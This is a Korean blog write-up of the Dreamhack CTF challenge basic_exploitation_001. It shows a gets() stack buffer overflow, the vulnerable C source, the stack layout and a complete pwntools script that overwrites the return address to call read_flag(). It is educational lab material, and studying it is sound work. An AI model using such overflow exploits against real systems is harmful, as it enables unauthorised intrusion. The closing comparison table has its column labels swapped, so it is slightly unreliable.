CTF

Basic_Exploitation 001

whffu0123 2026. 6. 17. 20:43

Dreamhack basic_exploitation_001 Write-up 


1. 문제 개요

스택 버퍼 오버플로우로 반환 주소(RET)를 덮는 것이 목표다. 이번엔 셸을 따는 함수 대신 cat /flag를 실행해주는 read_flag() 함수가 이미 바이너리 안에 들어있다. 따라서 셸코드를 만들 필요 없이, RET를 read_flag의 주소로 덮기만 하면 플래그가 출력된다.

out_of_bound No PIE OOB 인덱스로 system("/bin/sh") 호출
cmd_center No Canary 오버플로우로 인접 변수 변조 + strncmp 우회
rao No Canary + No PIE 오버플로우로 RET를 get_shell 주소로 변조
basic_exploitation_000 No Canary + NX disabled 셸코드를 주입하고 RET를 buf 주소로 변조
basic_exploitation_001 No Canary + No PIE 오버플로우로 RET를 read_flag 주소로 변조

rao와 사실상 동일하며, 점프 대상만 get_shell → read_flag로 바뀌었다.


2. 보호기법 분석 (checksec)

Arch:     i386-32-little        → 32비트, p32 / context.arch="i386"
RELRO:    No RELRO
Stack:    No canary found       → 오버플로우로 RET까지 자유롭게 덮기 가능
NX:       NX enabled            → 스택 실행 불가 (그러나 이번 풀이엔 무관)
PIE:      No PIE (0x8048000)    → read_flag 주소 고정
Stripped: No                   → 심볼 존재, ELF로 read_flag 주소 자동 추출 가능

000과의 결정적 차이 — NX

000은 NX disabled라서 스택에 셸코드를 심고 실행할 수 있었다. 반면 001은 NX enabled다. 스택의 셸코드는 실행되지 않는다.

그런데 이번 풀이는 NX의 영향을 받지 않는다. 셸코드를 스택에 올리지 않고, 이미 코드 영역(실행 권한 있음)에 존재하는 read_flag 함수로 점프만 하기 때문이다. 이것이 "셸코드 주입"과 "함수 재사용"의 핵심 차이다 — NX가 켜지면 전자는 막히지만 후자는 통한다. (NX가 막는 것은 데이터 영역의 코드 실행이지, 원래 코드 영역의 실행이 아니다.)


3. 소스 코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");   // ← 이 함수로 점프하면 플래그 출력
}

int main(int argc, char *argv[]) {
    char buf[0x80];        // 128바이트
    initialize();
    gets(buf);             // ← 취약점: 길이 무제한
    return 0;
}

취약점 지점

gets(buf)는 입력 길이를 전혀 제한하지 않는다. buf(128바이트)보다 훨씬 긴 입력으로 스택을 넘쳐 RET까지 덮을 수 있다.

000과의 입력 함수 차이

000 001

입력 함수 scanf("%141s") gets
길이 제한 141바이트 무제한
공백 바이트 절단 있음 (0x09,0x0a,0x0b,0x0c,0x0d,0x20에서 끊김) 없음

000에서는 scanf가 셸코드 안의 0x0b(execve syscall 번호)에서 입력을 끊어 한참 고생했지만, 001은 gets라서 어떤 바이트든 그대로 다 받는다. 게다가 셸코드 자체가 없으니 공백 바이트 문제 자체가 발생하지 않는다.


4. 스택 레이아웃과 페이로드 설계

disassemble main의 lea eax,[ebp-0x80]에서 buf가 ebp-0x80임을 확인. 32비트 스택 구조:

[ buf (0x80 = 128바이트) ][ SFP (4) ][ RET (4) ]
      더미로 채움             더미로 채움  ← read_flag 주소

페이로드 구성:

payload  = b"A" * 0x80              # buf 채우기
payload += b"BBBB"                  # SFP 4바이트 (더미)
payload += p32(read_flag_addr)      # RET ← read_flag 주소

000과 달리 NOP sled, 셸코드, %p 주소 수신이 전부 불필요하다. read_flag 주소는 No PIE라 고정이고, 심볼이 남아있어 e.symbols["read_flag"]로 자동 추출했다.


5. 최종 익스플로잇 코드

from pwn import *

context.arch = "i386"

p = remote("host3.dreamhack.games", 23202)   # 포트는 문제 페이지 기준

e = ELF("./basic_exploitation_001")

payload  = b"A" * 0x80                        # buf 채우기
payload += b"BBBB"                            # SFP
payload += p32(e.symbols["read_flag"])        # RET ← read_flag 주소

p.sendline(payload)
print(p.recvall(timeout=3).decode(errors="replace"))   # 플래그 수신

 

실행 결과:

read_flag가 system("cat /flag")를 실행하므로, 점프 성공과 동시에 플래그가 출력된다. 셸 획득 단계가 없어 000에서 겪은 interactive 타이밍 문제도 없었다 — recvall로 한 번에 받으면 끝.


6. 한 줄 요약과 배운 점

gets로 인한 스택 버퍼 오버플로우로 RET를 덮어, 바이너리에 이미 존재하는 read_flag()(system("cat /flag")) 함수로 실행 흐름을 넘겨 플래그를 획득했다.

000 vs 001 정리

 

  001 000
점프 대상 직접 주입한 셸코드 이미 있는 read_flag
NX disabled (스택 실행 가능) enabled (그러나 무관)
buf 주소 %p로 받아 RET에 사용 알 필요 없음
RET 값 buf 주소 (매번 바뀜, ASLR) read_flag 주소 (고정)
입력 함수 scanf("%141s") (공백 절단) gets (무제한)
셸코드 필요 (공백 바이트 회피 고생) 불필요
결과 셸 획득 → cat flag 즉시 플래그 출력
체감 난이도 높음 낮음

 

'CTF' 카테고리의 다른 글

SINT  (0) 2026.06.27
Basic_Exploitation 000  (0) 2026.06.17
Return Address Overwrite  (0) 2026.06.17
Out of Bounds  (0) 2026.06.17
shellcode  (0) 2026.06.17